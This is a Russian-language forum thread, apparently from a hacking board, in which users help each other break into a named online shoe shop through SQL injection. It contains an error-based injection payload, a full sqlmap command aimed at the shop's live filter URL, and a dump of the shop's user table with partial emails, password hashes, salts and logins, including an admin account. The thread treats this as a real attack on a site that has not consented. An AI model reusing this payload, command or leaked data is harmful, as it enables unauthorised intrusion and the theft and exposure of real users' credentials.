что-то не получается

Убери одну скобку в запросе.

")))||1+group+by+concat(version(),floor(rand(0)*2) )having+min(0)%23

Надо ошибки тоже читать.

красавчик ))

base: w106051

Table: user

[5 entries]

+----------------------+---------------+-------------------------------+-------------+

| email | password | salt | login |

+----------------------+---------------+-------------------------------+-------------+

| @ya.ru | $2nWSDmGDU.V6 | $2a$14$2JzmyFg/HuG55/xYBrIXMA | delvin |

| @altlogic.ru | $22dAubujSFfU | $2a$14$EnpIvtkw.xRbLRzjwbquxg | admin |

| @mail.ru | $2JpCew0SKvc. | $2a$14$ltDzAFvK5i0qU33i2nvaPg | durova_vita |

| @tagan.ru | $24LkUVLWIjU2 | $2a$14$tk2uQd0jCUpmApJ6kmSB/g | dmi |

| @gmail.com | $2KvStv//sqiM | $2a$14$VNPbpZZMDzNBW8Lt9JD6dw | obuvka |

+----------------------+---------------+-------------------------------+-------------+

sqlmap -u "http://обувъка.рф/shop/product/filter?productFilter[_ef][gender][]="*" --dbms Mysql --time-sec 10 --threads 10 --level 3 --risk 3 --technique E -D w106051 -T user -C email,password,salt,login --dump

Можете рассказать как сделали?

sqlmap гугли...

От души

Так то думать надо .... читать ...

(sqlmap - хороший софт, но лучше учись сам раскручивать ИМХО.)

зачем изобретать велосипед? есть софт он работает

по логу можно понять что происходит

а вот если автоматизация не прокатила то да имеет смысл копать руками!

п.с. имхо